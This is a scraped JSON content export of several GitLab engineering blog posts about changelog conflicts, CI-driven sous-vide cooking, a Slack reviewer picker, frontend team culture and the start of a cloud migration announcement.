ignore CRLFs in .gitmodules (Stan Hu)\n  - ...\n  - Fix broken code import and display error messages if something went wrong with creating project (Stan Hu)\n```\n\nWhen a developer made a change in the upcoming release, `8.0.0` in this example,\nthey would add a changelog entry at the bottom:\n\n```diff\ndiff --git a/CHANGELOG b/CHANGELOG\nindex de2066f..0fc2c18 100644\n--- a/CHANGELOG\n+++ b/CHANGELOG\n@@ -5,6 +5,7 @@ v 8.0.0 (unreleased)\n   - Faster merge\n   - ...\n   - Ability to fetch merge requests from refs/merge-requests/:id\n+  - Made literally everything better. Evvvvverything!\n\n v 7.14.1\n   - Improve abuse reports management from admin area\n```\n\nAt the same time, another developer might have made a similar change in _their_\nbranch:\n\n```diff\ndiff --git a/CHANGELOG b/CHANGELOG\nindex de2066f..5f81cfd 100644\n--- a/CHANGELOG\n+++ b/CHANGELOG\n@@ -5,6 +5,7 @@ v 8.0.0 (unreleased)\n   - Faster merge\n   - ...\n   - Ability to fetch merge requests from refs/merge-requests/:id\n+  - Made a few things worse. Woops!\n\n v 7.14.1\n   - Improve abuse reports management from admin area\n```\n\nNow when one branch was merged, it'd create a conflict in the other:\n\n```diff\ndiff --cc CHANGELOG\nindex 5f81cfd,0fc2c18..0000000\n--- a/CHANGELOG\n+++ b/CHANGELOG\n@@@ -5,7 -5,7 +5,11 @@@ v 8.0.0 (unreleased\n    - Faster merge\n    - ...\n    - Ability to fetch merge requests from refs/merge-requests/:id\n++\u003C\u003C\u003C\u003C\u003C\u003C\u003C HEAD\n +  - Made a few things worse. Woops!\n++=======\n+   - Made literally everything better. Evvvvverything!\n++>>>>>>> developer-1\n\n  v 7.14.1\n    - Improve abuse reports management from admin area\n```\n\nThis resulted in a ton of wasted time as something would get merged, and then\nevery other open branch adding a changelog entry would need to be rebased. The\nsituation only got worse as the number of contributors to GitLab grew over time.\n\nOur initial, [boring solution] to the problem was to begin adding empty\nplaceholder entries at the beginning of each monthly release cycle. The\nchangelog for the upcoming unreleased version might look like this:\n\n```\nv8.1.0 (unreleased)\n  -\n  -\n  -\n  -\n  -\n  -\n  -\n  - (and so on)\n```\n\nA developer would make their change and then choose a random spot in the list to\nadd a changelog entry. This worked for a while, until the placeholders began to\nbe filled out as we got closer to the release date. Eventually two (or more)\nmerge requests would attempt to add different entries at the same placeholder,\nand one being merged created a conflict in the others.\n\nThe problem was lessened, but not solved.\n\nNot only was this a huge waste of time for developers, it created an additional\nheadache for [release managers] when they cherry-picked a commit into a stable\nbranch for a patch release. If the commit included a changelog entry, which any\nchange intended for a patch release _should_ have, cherry-picking that commit\nwould bring in the contents of the changelog at the point of that commit, often\nincluding dozens of unrelated changes. The release manager would have to\nmanually remove the unrelated entries, often doing this multiple times per\nrelease. This was compounded when we had to release multiple patch versions at\nonce due to a security issue.\n\n[very first commit]: https://gitlab.com/gitlab-org/gitlab-ce/commit/9ba1224867665844b117fa037e1465bb706b3685\n[Enterprise Edition (EE) was introduced]: /releases/2013/07/22/announcing-gitlab-enterprise-edition/\n[got a changelog of its own]: https://gitlab.com/gitlab-org/gitlab-ee/commit/e316324be5f71f02a01ae007ab1cf5cbe410c2e1\n[boring solution]: https://handbook.gitlab.com/handbook/values/#efficiency\n[release managers]: https://gitlab.com/gitlab-org/release/docs/blob/master/quickstart/release-manager.md\n\n## Brainstorming solutions\n\nFrustrations with the process finally reached a tipping point, and [an issue was\ncreated] to discuss a solution. [Yorick] had the [original idea] that would\nultimately form the foundation of our solution. During a [trip around the\nworld], myself, [Douwe], and [Marin] were in Brooklyn, NY, and during a walk\naround the city one beautiful summer evening we ended up [with a proposal] to\nfinally solve the problem.\n\nEach changelog entry would be its own YAML file in a `CHANGELOG/unreleased`\nfolder. When a release manager went to cherry-pick a merge into a stable branch\nin preparation for a release, they'd use a custom script that would perform the\ncherry-pick and then move any changelog entry added by that action to a\nversion-specific subfolder, such as `CHANGELOG/8.9.4`. At the time of release,\nany entries in the version's subfolder would be compiled into a single Markdown\nchangelog file, and then deleted.\n\nWith an idea of where we wanted to end up but no idea how to get there, I\nstarted with a [spike].\n\n[an issue was created]: https://gitlab.com/gitlab-org/gitlab-ce/issues/17826\n[original idea]: https://gitlab.com/gitlab-org/gitlab-ce/issues/17826#note_12623521\n[Yorick]: /company/team/#yorickpeterse\n[Douwe]: /company/team/#DouweM\n[Marin]: /company/team/#maxlazio\n[trip around the world]: /2016/08/24/gitlab-in-action/\n[spike]: https://gitlab.com/snippets/1713271\n\n## A turning point\n\nAfter a few days of working on the spike, I [had a realization] that we didn't\nneed the cherry-picking concept at all:\n\n> Cherry picking a merge commit into a stable branch will add that merge's\n> `CHANGELOG/unreleased/whatever-its-called.yml` file to the stable branch. Upon\n> tagging a release with release-tools, we can consider _everything_ in that\n> stable branch's \"unreleased\" folder as part of the tagged release. We collect\n> those files, compile them to Markdown, remove them from the stable branch\n> _and_ `master`, and that's our changelog for the release.\n\nThis was a major \"aha\" moment, as it greatly simplified the\nworkflow for release managers. They could continue their existing workflow, and\nthe release flow would transparently handle the rest. It also meant we could\nhandle everything in our [release-tools] project, which is responsible\nfor tagging a release and kicking off our packaging.\n\nEven though we ended up not using a lot of the work that went into it, my\noriginal spike was still valuable. It allowed us to see pain points early on,\nrefine the process, and find a better solution. It also gave me additional\nexperience interacting with Git repositories programmatically via [Rugged], and\nthat would go on to be especially useful as we implemented the final tooling.\n\n[with a proposal]: https://gitlab.com/gitlab-org/gitlab-ce/issues/17826#note_12998363\n[had a realization]: https://gitlab.com/gitlab-org/gitlab-ce/issues/17826#note_13527876\n[release-tools]: https://gitlab.com/gitlab-org/release-tools/\n[Rugged]: https://github.com/libgit2/rugged\n\n## Building the building blocks\n\nWe knew there were several components that we'd need to build:\n\n1. Something to read and represent the individual YAML data files\n1. Something to compile individual entries into a Markdown list\n1. Something to insert the compiled Markdown into the _correct spot_ in an\n   existing list of releases\n1. Something to remove the files that had been compiled, and then commit the\n   updated `CHANGELOG.md` file to the repository\n\nAll of these components were created in a [single merge request] and refined\nthrough several code review cycles. The commits listed there are all fairly\natomic and may be interesting to read through on their own. The code review that\nhappened in the merge request was incredibly valuable, and allowed us to really\nsimplify some code that was hard to wrap one's head around, even for me as the\noriginal author!\n\n## Automated testing\n\nOf course, we wouldn't consider this solution complete until we had automated\ntests guaranteeing the behavior and consistency of the automated compilation,\nincluding reading from and writing to multiple branches across multiple\nrepositories.\n\nI ended up using Rugged to create [fixture repositories] that would create a\nrepeatable testing environment, which we could then verify with [custom RSpec\nmatchers].\n\n[single merge request]: https://gitlab.com/gitlab-org/release-tools/merge_requests/29\n[fixture repositories]: https://gitlab.com/gitlab-org/release-tools/blob/6531d8d7b7acbdf6ab577db4381036bbc18e3bbc/spec/support/changelog_fixture.rb\n[custom RSpec matchers]: https://gitlab.com/gitlab-org/release-tools/blob/6531d8d7b7acbdf6ab577db4381036bbc18e3bbc/spec/support/matchers/rugged_matchers.rb\n\n## Hooking into the release process\n\nAt this point we were fairly confident the changelog compilation worked, so it\nwas time to [hook it into our existing release process].\n\nWhile testing this integration on a real release, we uncovered a pretty\nhilarious (but dangerous) oversight. I'll let the commit that fixed it speak for\nitself:\n\n> [Protect against deleting everything when there are no changelog entries](https://gitlab.com/gitlab-org/release-tools/merge_requests/47/diffs?commit_id=5b3fe48a7697bda856b6bed1fedc4c210439849b)\n>\n> On a stable branch with no changelog entry files, the resulting empty\n> array was passed to `Rugged::Index#remove_all` which, when given an\n> empty array, removes **everything**. This was not ideal.\n\n[hook it into our existing release process]: https://gitlab.com/gitlab-org/release-tools/merge_requests/47\n\n## Developer tooling\n\nThe final pieces of the puzzle were creating a tool to help developers create\nvalid changelog entries easily, and adding documentation. Both were handled in\n[this merge request](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/7098).\n\nThis tool allows developers to run `bin/changelog`, passing it the title of\ntheir change, to generate a valid changelog entry file. Additional options are\n[in the documentation](https://docs.gitlab.com/ee/development/changelog.html).\n\n## Future plans\n\nThis changelog process has worked beautifully for us since it was introduced,\nand we know it might be just as useful to other projects. We're [investigating a\nway to make it more generic] so that it can remove a tedious chore for more\ndevelopers.\n\nI worked on this project as part of our Edge team, now known as the [Quality\nteam]. If you're interested in this kind of internal tooling or other\nautomation, we're hiring! Check out our [open positions](/jobs/).\n\n[investigating a way to make it more generic]: https://gitlab.com/gitlab-org/release-tools/issues/209\n[Quality team]: https://about.gitlab.com/handbook/engineering/quality/\n\nPhoto by [Patrick Tomasso](https://unsplash.com/photos/1S-PanVaJmU?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/abstract?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,1444],{"slug":32936,"featured":6,"template":678},"solving-gitlabs-changelog-conflict-crisis","content:en-us:blog:solving-gitlabs-changelog-conflict-crisis.yml","Solving Gitlabs Changelog Conflict Crisis","en-us/blog/solving-gitlabs-changelog-conflict-crisis.yml","en-us/blog/solving-gitlabs-changelog-conflict-crisis",{"_path":32942,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32943,"content":32949,"config":32954,"_id":32956,"_type":16,"title":32957,"_source":17,"_file":32958,"_stem":32959,"_extension":20},"/en-us/blog/introducing-auto-breakfast-from-gitlab",{"title":32944,"description":32945,"ogTitle":32944,"ogDescription":32945,"noIndex":6,"ogImage":32946,"ogUrl":32947,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32947,"schema":32948},"Introducing Auto Breakfast from GitLab (sort of)","GitLab can't make you breakfast? This is what happens when you tell a GitLab team member whose favorite catchphrase is \"Challenge accepted.\"","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680054/Blog/Hero%20Images/auto-breakfast.jpg","https://about.gitlab.com/blog/introducing-auto-breakfast-from-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing Auto Breakfast from GitLab (sort of)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2018-06-29\",\n      }",{"title":32944,"description":32945,"authors":32950,"heroImage":32946,"date":32951,"body":32952,"category":734,"tags":32953},[11790],"2018-06-29","\n\nA big part of [GitLab's culture](/company/culture/) is [saying thanks](/handbook/communication/#say-thanks) to one another for doing a great job. That can be anything from helping with a tough technical problem to simply sharing a nice [coffee chat](/company/culture/all-remote/#coffee-chats) to break up the work day. One day a Sales team member thanked someone from Customer Success for a great demo of [GitLab CI/CD](/solutions/continuous-integration/). The customer commented afterwards, \"Okay, what doesn't GitLab do?\"\n\nPlenty of heart-themed emoji reactions followed. We've seen users do some pretty amazing things with GitLab CI/CD, from [ramping up to weekly mobile releases](/blog/continuous-integration-ticketmaster/) to [automating boring Git operations](/blog/automating-boring-git-operations-gitlab-ci/), to [saving 90 percent on EC2 costs](/blog/autoscale-ci-runners/). However, there was one thing we hadn't seen. So in addition to this love, the question also garnered a semi-sarcastic answer:\n\n> It won't make breakfast for you, unfortunately.\n\nNever one to let a Slack conversation go unnoticed, I replied with one of my favorite phrases:\n\n![Challenge Accepted](https://about.gitlab.com/images/blogimages/breakfast-challenge.png){: .shadow.center.medium}\n\nI have to admit that the fact that my status was [`:coffee_parrot:`](https://github.com/jmhobbs/cultofthepartyparrot.com/issues/55) could have been related to my enthusiastic reply...\n\n## The challenge\n\nAt the time I had only a vague idea of how I would accomplish this. Many suggestions about Internet of Things devices followed my comment. And while a toaster with a version of Linux that will never be patched was intriguing, I wanted to do something bigger.\n\nA few years ago some friends got together and bought me an [Anova Sous Vide](https://anovaculinary.com/), knowing that I loved to cook. What they failed to calculate was that having four kids in eight years was counterproductive to learning the time-tested [French cooking method of sous-vide](https://en.wikipedia.org/wiki/Sous-vide). As such, the tool has not had a whole lot of use in its time.\n\nHowever, at this point I thought of two things:\n\n1. I love a new sous-vide egg bite offering from a well-known coffee shop\n1. The Anova Sous Vide uses [bluetooth low energy (BLE)](https://en.wikipedia.org/wiki/Bluetooth_Low_Energy) to allow you to control it through an app\n\n## The recipe (culinary)\n\nWhile I did like the egg bites from a coffee shop that shall remain nameless, I don't have them all the time. I would give them a 5- _star_ rating, but they cost a few more _bucks_ then I’d like to spend 😉 So I found a [sous-vide egg bite recipe](https://recipes.anovaculinary.com/recipe/sous-vide-egg-bites-bacon-gruyere) on Anova's website.\n\n## The recipe (technology)\n\nOnce I had the recipe, all I needed was to reverse engineer the BLE connection, figure out how to get that to work from the command line, set up a project and get it integrated with GitLab CI/CD... no big deal. Luckily I found a fantastic project called PyCirculate that had already worked out a lot of the BLE connection issues with the Anova. It made me wonder if someone else had automated breakfast before... but I've yet to find them!\n\n![Ingredients...Pinterest picture](https://about.gitlab.com/images/blogimages/breakfast-pintrest.png){: .shadow.center.medium}\n\nNow that I had both recipes and all the ingredients, it was time to _*git*_ crackin'... (I can't tell you how happy I was when I thought of that joke. Did I mention I'm a dad?)\n\n### Setting up the breakfast pipeline\n\nOnce I had that project installed and working on my laptop, I uploaded the code to GitLab in the public repository in the [auto-breakfast group](https://gitlab.com/auto-breakfast/eggs/). Next, I installed [GitLab Runner](https://docs.gitlab.com/runner/) on a [RaspberryPi](https://www.raspberrypi.org/). I registered the Pi as a [specific runner](https://docs.gitlab.com/runner/register/) for my project. I used a [runner tag](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#use-tags-to-control-which-jobs-a-runner-can-run) so that I could ensure the cooking job only ran on a device with a Bluetooth connection.\n\n![Specific runner](https://about.gitlab.com/images/blogimages/breakfast-runner.png){: .shadow.small.right.wrap-text}\n\nWhen I run a pipeline on `auto-breakfast/eggs` it uses the RaspberryPi to execute and thus can create the BLE connection to the Anova. With the click of a button in GitLab, my breakfast pipeline was running. All I had to do was sit back, relax, and let GitLab CI/CD do all the work.\n\n![Auto Breakfast pipeline](https://about.gitlab.com/images/blogimages/breakfast-1.JPG){: .shadow.center.medium}\n\n## The results\n\nThe egg bites were great! I even modified the recipe with some great Kerrygold Irish whiskey cheddar cheese. However, I would say that it did take a little more effort to get things set up. However, now that it's done, I have a repeatable, single-button way to cook the recipe again (minus the egg cracking and food processing). Just like CI/CD with a `.gitlab-ci.yml` can help make software build and deployment more reliable and repeatable, it can also make a fantastic breakfast 😎\n\nNot pictured: A very messy kitchen and a very perplexed wife.\n{: .alert .alert-gitlab-purple}\n\n[Photo](https://unsplash.com/photos/I-ykyShydj0?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Leti Kugler on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[1384,4772],{"slug":32955,"featured":6,"template":678},"introducing-auto-breakfast-from-gitlab","content:en-us:blog:introducing-auto-breakfast-from-gitlab.yml","Introducing Auto Breakfast From Gitlab","en-us/blog/introducing-auto-breakfast-from-gitlab.yml","en-us/blog/introducing-auto-breakfast-from-gitlab",{"_path":32961,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32962,"content":32967,"config":32974,"_id":32976,"_type":16,"title":32977,"_source":17,"_file":32978,"_stem":32979,"_extension":20},"/en-us/blog/play-reviewer-roulette",{"title":32963,"description":32964,"ogTitle":32963,"ogDescription":32964,"noIndex":6,"ogImage":26734,"ogUrl":32965,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32965,"schema":32966},"Reviewer roulette: Easy way to find merge request reviewers","Finding the right reviewer for a merge request can be tough. Reviewer Roulette makes the decision easier – by making it random!","https://about.gitlab.com/blog/play-reviewer-roulette","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Let's play Reviewer Roulette! An easy way to find a reviewer for your merge request\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dennis Tang\"}],\n        \"datePublished\": \"2018-06-28\",\n      }",{"title":32968,"description":32964,"authors":32969,"heroImage":26734,"date":32971,"body":32972,"category":734,"tags":32973},"Let's play Reviewer Roulette! An easy way to find a reviewer for your merge request",[32970],"Dennis Tang","2018-06-28","\n\nGitLab is [growing quickly], and [constantly looking for more talented people] to join the team. While exciting, it can be tough to keep track of who's who, especially when you're new to the company.\n\nSo how do you know who to contact if you need a pair of eyes on your merge request?\n\n## Meet Reviewer Roulette!\n\nReviewer Roulette is a Slack slash command to help GitLab team-members randomly select a person from a given team, which can be especially useful as multiple teams work together to deliver features in a single merge request.\n\n![Demo of /reviewerroulette](https://about.gitlab.com/images/blogimages/play-reviewer-roulette/demo.gif){: .shadow.center.medium}\n\n---\n\n## The idea\n\nIt's quite common to find that your issue or merge request will have multiple labels to associate different feature areas and teams that are contributing to them. As someone who's recently joined GitLab, I'm still getting to know [all the different teams and people] that work at GitLab. That said, I'm working on a feature with the [CI/CD](/topics/ci-cd/) or discussion team, who should I reach out to if I have questions or need a review of my work?\n\n![Various labels on Merge Requests in gitlab-ce](https://about.gitlab.com/images/blogimages/play-reviewer-roulette/labels.png){: .shadow.center.medium}\n\nThe idea arose from the [frontend team weekly call] where [Tim Zallmann] reminded us that, \"Everyone on the frontend team is a reviewer.\" The team previously had a microservice built by [Luke Bennett] for this, however, it's no longer online. Beyond that, wouldn't it be convenient to simply type a command in Slack to be suggested someone to ping for a review?\n\nI can say with confidence that GitLab is a company that truly exemplifies its values, and I was empowered by the value of [collaboration] to build something that could help our team (and others!) find reviewers. I couldn't be the only one who had this problem!\n\n> **Do it yourself** Our collaboration value is about helping each other when we have questions, need critique, or need help. No need to brainstorm, wait for consensus, or do with two what you can do yourself.\n\nI quickly went to work to (hastily) put together a proof-of-concept to see if it would something that people would want to use.\n\n## Decision fatigue, be gone!\n\n![Screenshot of /reviewerroulette](https://about.gitlab.com/images/blogimages/play-reviewer-roulette/screenshot.png){: .shadow.right.small.wrap-text}\n\nIt was presented to the frontend team and received warmly, and many people were keen to contribute and also [suggest ideas] that would make it even more useful!\n\nAlthough it was originally intended for the frontend group, since I was building it from scratch, it was very easy to make the decision to have it work for all engineering teams.\n\nWith Reviewer Roulette, I don't have to ping entire Slack channels or guess from our team page to try to find _someone_ to talk to.\n\nAdditionally, it provides a number of other benefits such as:\n\n1.  It promotes a more balanced distribution of reviewers amongst the team.\n    * Less experienced reviewers have more opportunities to do code reviews\n    * More experienced reviewers are not as heavily relied on\n1.  It allows more team members to learn more about parts of the codebase they may not be as familiar with, increasing the knowledge of the team overall\n1.  It provides more opportunities to apply our [code review guidelines] or [frontend style guides] to all team members\n1.  It reduces bias towards reviewers that you may unconsciously prefer to select\n\nOf course, we have our various subject matter experts such as our [frontend domain experts] and [gitlab-ce maintainers] who may provide the best insight for a given topic, but it's good to randomly select reviewers by default!\n\n## How it's made\n\nWhen it came to thinking about how to build Reviewer Roulette, it wasn't so much about the tech, than it being about being enabled to create something that will benefit the team.\n\nEmbracing our value of [efficiency], the solution is very much a boring one. It's a simple Node.js application utilizing `js-yaml` and `express` to be able to search our [team structure file] and respond to Slack's slash command requests properly.\n\n## What's next\n\nReviewer Roulette is seeing regular usage, and has [plenty of features planned] to hopefully increase its usefulness.\n\nWhile originally intended for engineering, it can [help the entire company] out. In addition to our [Coffee Break calls], we also have [a step in our onboarding process] to meet five different people across different teams and countries. That's something that Reviewer Roulette could easily help with!\n\nWe also plan on moving it to the frontend [GKE] cluster, and activating [Auto DevOps] to make builds and deployments painless.\n\nIf you're interested in checking it out, feel free to take a look at the [project]! Perhaps it might be useful to you and your team?\n\n## Share your thoughts!\n\nIf there's interest in using Reviewer Roulette for your community contribution to GitLab projects, let us know in the comments and we can release it on Slack for everyone to use!\n\nWhat do you think of Reviewer Roulette? Is this something you would use for your team? How do you pick people for reviewing?\n\n[Photo](https://unsplash.com/photos/w6OniVDCfn0?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Krissia Cruz on [Unsplash](https://unsplash.com/search/photos/roulette?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n[growing quickly]: /company/okrs/#ceo-great-team-active-recruiting-for-all-vacancies-number-of-diverse-per-vacancy-real-time-dashboard\n[constantly looking for more talented people]: /jobs/\n[all the different teams and people]: /company/team/\n[frontend domain experts]: /handbook/engineering/frontend/#frontend-domain-experts\n[gitlab-ce maintainers]: /handbook/engineering/projects/#gitlab-ce\n[frontend team weekly call]: /handbook/engineering/frontend/#frontend-group-calls\n[Tim Zallmann]: /company/team/#tpmtim\n[Luke Bennett]: /company/team/#__lukebennett\n[suggest ideas]: https://gitlab.com/dennis/reviewer-roulette/issues/\n[plenty of features planned]: https://gitlab.com/dennis/reviewer-roulette/issues/\n[efficiency]: https://handbook.gitlab.com/handbook/values/#efficiency\n[team structure file]: https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/team.yml\n[auto devops]: https://docs.gitlab.com/ee/topics/autodevops/\n[coffee break calls]: /company/culture/all-remote/tips/#coffee-chats\n[a step in our onboarding process]: https://gitlab.com/gitlab-com/people-group/employment-templates/-/blob/main/.gitlab/issue_templates/onboarding.md#day-4-morning-social\n[help the entire company]: https://gitlab.com/dennis/reviewer-roulette/issues/12\n[gke]: /partners/technology-partners/google-cloud-platform/\n[project]: https://gitlab.com/dennis/reviewer-roulette/\n[collaboration]: https://handbook.gitlab.com/handbook/values/#collaboration\n[code review guidelines]: https://docs.gitlab.com/ee/development/code_review.html\n[Frontend style guides]: https://docs.gitlab.com/ee/development/fe_guide/index.html#style-guides\n",[676,2368,11037],{"slug":32975,"featured":6,"template":678},"play-reviewer-roulette","content:en-us:blog:play-reviewer-roulette.yml","Play Reviewer Roulette","en-us/blog/play-reviewer-roulette.yml","en-us/blog/play-reviewer-roulette",{"_path":32981,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32982,"content":32988,"config":32992,"_id":32994,"_type":16,"title":32995,"_source":17,"_file":32996,"_stem":32997,"_extension":20},"/en-us/blog/iterating-improving-frontend-culture",{"title":32983,"description":32984,"ogTitle":32983,"ogDescription":32984,"noIndex":6,"ogImage":32985,"ogUrl":32986,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32986,"schema":32987},"How we iterated and improved our frontend team culture","A recent internal survey revealed that the frontend team culture needed some improvements. Here are some noteworthy steps we took.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684058/Blog/Hero%20Images/improving-frontend-team-culture.jpg","https://about.gitlab.com/blog/iterating-improving-frontend-culture","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we iterated and improved our frontend team culture\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Clement Ho\"}],\n        \"datePublished\": \"2018-06-26\",\n      }",{"title":32983,"description":32984,"authors":32989,"heroImage":32985,"date":32990,"body":32991,"category":6634},[22111],"2018-06-26","\n\nIn February, the [results of GitLab's first anonymous engineering engagement survey were announced][survey-results-announced].\nThe purpose of this survey was to understand the culture of the teams and the organization as a whole, and to identify areas of improvement (if any).\n\nThrough this engagement survey, it was identified that out of all the engineering teams, members of the frontend team felt the least favorable about being safe to share their opinions.\n\n![frontend-survey-culture-image][frontend-survey-culture-image]{: .shadow.medium.center}\n*\u003Csmall>Only 58.3 percent of the frontend team felt safe to express their opinions\u003C/small>*\n\n## Steps taken to improve our frontend team culture\n\nSince the results were published, we've taken multiple iterative steps to improve our culture. Below are a few noteworthy steps we thought were insightful to share with the community.\n\n### Monthly themed frontend calls\n\nAs a remote company, it tends to be difficult to have casual conversations with your coworkers.\nAlthough at GitLab we have our [team calls][team-call], interactions between frontend team members seemed to always be work related.\nLast year, I had the opportunity to visit my former frontend lead, [Jacob Schatz][jacob-schatz], in person and it made an impact on our relationship because it created a space for us to chat casually about non-work topics.\nThese casual conversations created a foundation for me to feel comfortable giving constructive feedback because I understood him on a personal level.\nGitLab has regular [summits][summits] for team members to meet face to face, so perhaps we need to be more intentional about that time during our next summit, but it wouldn't be ideal for the team to wait until then to take steps to improve our culture.\n\nAs a means to bridge casual conversations within the frontend team, [monthly themed frontend calls][issue-monthly-frontend-calls] was created. Before this, the frontend team would have a weekly 30-minute call to discuss new technologies or to share new information with the team. Since discussions about frontend technologies can get highly opinionated (just ask a group of frontend engineers what framework to use), our calls tend to lean more on the serious note.\n\nTo lighten the mood and encourage some non-work-related conversation, every first call of the month, a theme is chosen by the winner of the previous month and each team member is encouraged to share something in line with the theme. After all the team members share their story about their theme, we all vote to see who wins that month.\n\n![themed-call][themed-call]{: .shadow.medium.center}\n*\u003Csmall>Our first themed frontend call – most interesting hat (check out the [handbook][theme-call-handbook] to see who won)\u003C/small>*\n\n### Frontend calendar\n\nSince our team ships code fast, one of the challenges noticed was that frontend team members can often feel left out of decisions. Sometimes frontend-related meetings take place on demand (whenever the respective parties are online) that feels excluding to other team members (who may have good insights to contribute to the discussion). As a result, we created a [shared frontend calendar][calendar-handbook] as a means of unifying and including team members on frontend-related discussions.\n\nOne of the early successes of this calendar was a meeting that discussed the \"Overview of frontend tests at GitLab.\" This was a session about testing that was created since we had a few new hires at the time who wanted to learn, but the existing frontend documentation wasn't adequate. After the session, we added improvements to the documentation. Due to the open nature of this calendar, we also fostered open collaboration with other engineering teams as [Mek Stittri][mek] (Engineering Manager of the Quality team) joined that session because he was new to GitLab and had prior experience in JavaScript testing.\n\n### #frontend_maintainers Slack channel\n\nAnother challenge our frontend team encountered was that sometimes maintainers' code review feedback would contradict one another. It seemed to be because sometimes information about a best practice wasn't communicated well within the group of maintainers. As a result, we created a #frontend_maintainers slack channel to create a space for frontend maintainers to share knowledge, ask questions and get on the same page about what code should be merged into the codebase.\n\n![frontend-maintainers-channel][frontend-maintainers-channel]{: .shadow.medium.center}\n\n## Results\n\nAlthough there won't be another engineering survey until later this year to accurately measure whether these steps made an impact, I've personally seen the frontend team culture grow positively over the last few months. One of the biggest examples of improvement was the recent Content Hack Day. Since the beginning of this year, the content team hosts these days to encourage team members to write blog posts for the company. ([One][hacker-news-post] of these hack day posts also recently hit [number 1 on hacker news][hacker-news]). There are always great prizes, but one to mention is the team prize – the team that contributes the most blog posts wins an evangelism dinner for each member of the team (company reimburses up to $100 USD for a meal).\n\nLeading up to the Content Hack Day, I learned that this iteration of the event required teams to have at least 50 percent participation (jump on the open Zoom call, write blog posts, contribute blog post ideas... etc.) to qualify for the team prize. Since our team was 16 people at the time, it seemed pretty tough to get eight team members to participate. I announced the Hack Day on the frontend team call and that led to [Lukas Eipert][lukas] creating a private Slack channel (#content-hack-fe) for the frontend team to brainstorm ideas before the day, so that we could have the best chance of winning the team prize.\n\nTo my surprise, on the actual day, the frontend team had a 68.7 percent participation rate and eight blog posts. This is especially encouraging for the frontend team culture because the event took place on a public holiday for several team members which, statistically speaking, should have decreased our participation.\n\nOverall, it's been amazing to see the culture shift since the beginning of the year. There are probably still many steps we can take to get better, but I am confident that if the team continues at its current trajectory, the frontend team culture will soon become the example for other teams to learn from about how to foster a positive culture.\n\nCover image: [Photo][unsplash-photo] by [Kimson Doan][unsplash-author] on [Unsplash][unsplash]\n{: .note}\n\n[survey-results-announced]: https://youtu.be/BNwx-QslzjI?t=3m33s\n[jacob-schatz]: /company/team/#jakecodes\n[team-call]: /handbook/communication/#team-call\n[summits]: /culture/summits/\n[issue-monthly-frontend-calls]: https://gitlab.com/gitlab-com/organization/issues/149\n[theme-call-handbook]: /handbook/engineering/frontend/#frontend-team-calls\n[calendar-handbook]: /handbook/engineering/frontend/#frontend-calendar\n[mek]: /company/team/#mekdev\n[lukas]: /company/team/#leipert_io\n[frontend-survey-culture-image]: /images/frontend_culture/engineering-survey-culture.png\n[themed-call]: /images/frontend_culture/themed-call.png\n[frontend-maintainers-channel]: /images/frontend_culture/frontend-maintainers-channel.png\n[unsplash-photo]: https://unsplash.com/photos/AZMmUy2qL6A\n[unsplash-author]: https://unsplash.com/\n[unsplash]: https://unsplash.com/\n[hacker-news-post]: /2018/06/15/introducing-gitlab-s-integrated-development-environment\n[hacker-news]: https://news.ycombinator.com/item?id=17321921\n",{"slug":32993,"featured":6,"template":678},"iterating-improving-frontend-culture","content:en-us:blog:iterating-improving-frontend-culture.yml","Iterating Improving Frontend Culture","en-us/blog/iterating-improving-frontend-culture.yml","en-us/blog/iterating-improving-frontend-culture",{"_path":32999,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33000,"content":33005,"config":33010,"_id":33012,"_type":16,"title":33013,"_source":17,"_file":33014,"_stem":33015,"_extension":20},"/en-us/blog/moving-to-gcp",{"title":33001,"description":33002,"ogTitle":33001,"ogDescription":33002,"noIndex":6,"ogImage":29611,"ogUrl":33003,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33003,"schema":33004},"We’re moving from Azure to Google Cloud Platform","GitLab.com is migrating to Google Cloud Platform – here’s what this means for you now and in the future.","https://about.gitlab.com/blog/moving-to-gcp","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We’re moving from Azure to Google Cloud Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrew Newdigate\"}],\n        \"datePublished\": \"2018-06-25\",\n      }",{"title":33001,"description":33002,"authors":33006,"heroImage":29611,"date":33007,"body":33008,"category":734,"tags":33009},[9050],"2018-06-25","\nUpdate Jul 19, 2018: The latest info can be found in the [GCP migration update](/blog/gcp-move-update/) blog post. \n{: .alert .alert-info}\n\nImproving the performance and reliability of [GitLab.com](/pricing/)  has been a top priority for us. On this front we've made some incremental gains while we've been planning for a large change with the potential to net significant results: moving from Azure to Google Cloud Platform (GCP).\n\nWe believe [Kubernetes](/solutions/kubernetes/) is the future. It's a technology that makes reliability at massive scale possible. This is why earlier this year we shipped native [integration with Google Kubernetes Engine](/blog/gke-gitlab-integration/) (GKE) to give GitLab users a simple way to use Kubernetes. Similarly, we've chosen GCP as our cloud provider 